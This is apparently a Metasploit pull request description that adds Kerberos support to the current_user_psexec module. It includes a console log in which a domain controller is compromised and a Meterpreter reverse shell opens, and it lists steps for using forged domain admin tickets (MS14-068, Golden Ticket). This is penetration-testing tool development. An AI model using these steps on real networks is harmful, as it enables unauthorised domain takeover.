Current User Psexec - Kerberos Support (MS14-068)

Currently after importing a Kerberos token with the kiwi extension, attempts to exploit hosts using the current_user_psexec local exploit module will fail. This is due to the Kerberos requirement to associate with the hostname.

This adds a KERBEROS datastore option which will prevent the hostnames being resolved locally, and instead send the hostnames over the remote host. TBH we probably shouldn't be resolving anything locally for 'local' exploits. This should all be done on the remote host?

```
20141210-22:17 - 192.168.153.133 exploit(current_user_psexec) > rerun
[*] Reloading module...

[*] [2014.12.10-22:17:22] Started reverse handler on 172.16.80.225:8888 
[*] [2014.12.10-22:17:22] msfdc01          Creating service kWfrGWFDDd
[*] [2014.12.10-22:17:23] msfdc01          Starting the service
[*] [2014.12.10-22:17:24] msfdc01          Deleting the service
[*] [2014.12.10-22:17:26] Sending stage (770048 bytes) to 172.16.80.10
[*] Meterpreter session 5 opened (172.16.80.225:8888 -> 172.16.80.10:63815) at 2014-12-10 22:17:43 +0000
```

## Verification
- [ ] Import a Domain Admin Kerberos Ticket (MS14-068/Golden Ticket etc)
- [ ] Run module against the Domain Controller using either DNS name or IP address in RHOSTS - will get an access denied error 5
- [ ] Apply this PR
- [ ] Set KEBEROS TRUE and set the RHOST to the DNS name of the target host.

## Fixes
https://github.com/rapid7/metasploit-framework/issues/4348
I guess it was trying to avoid DNS resolution when authenticating via Kerberos, but I don't think it solves the issue, because DNS resolution already happens on datastore option validation. Right or am I forgetting something?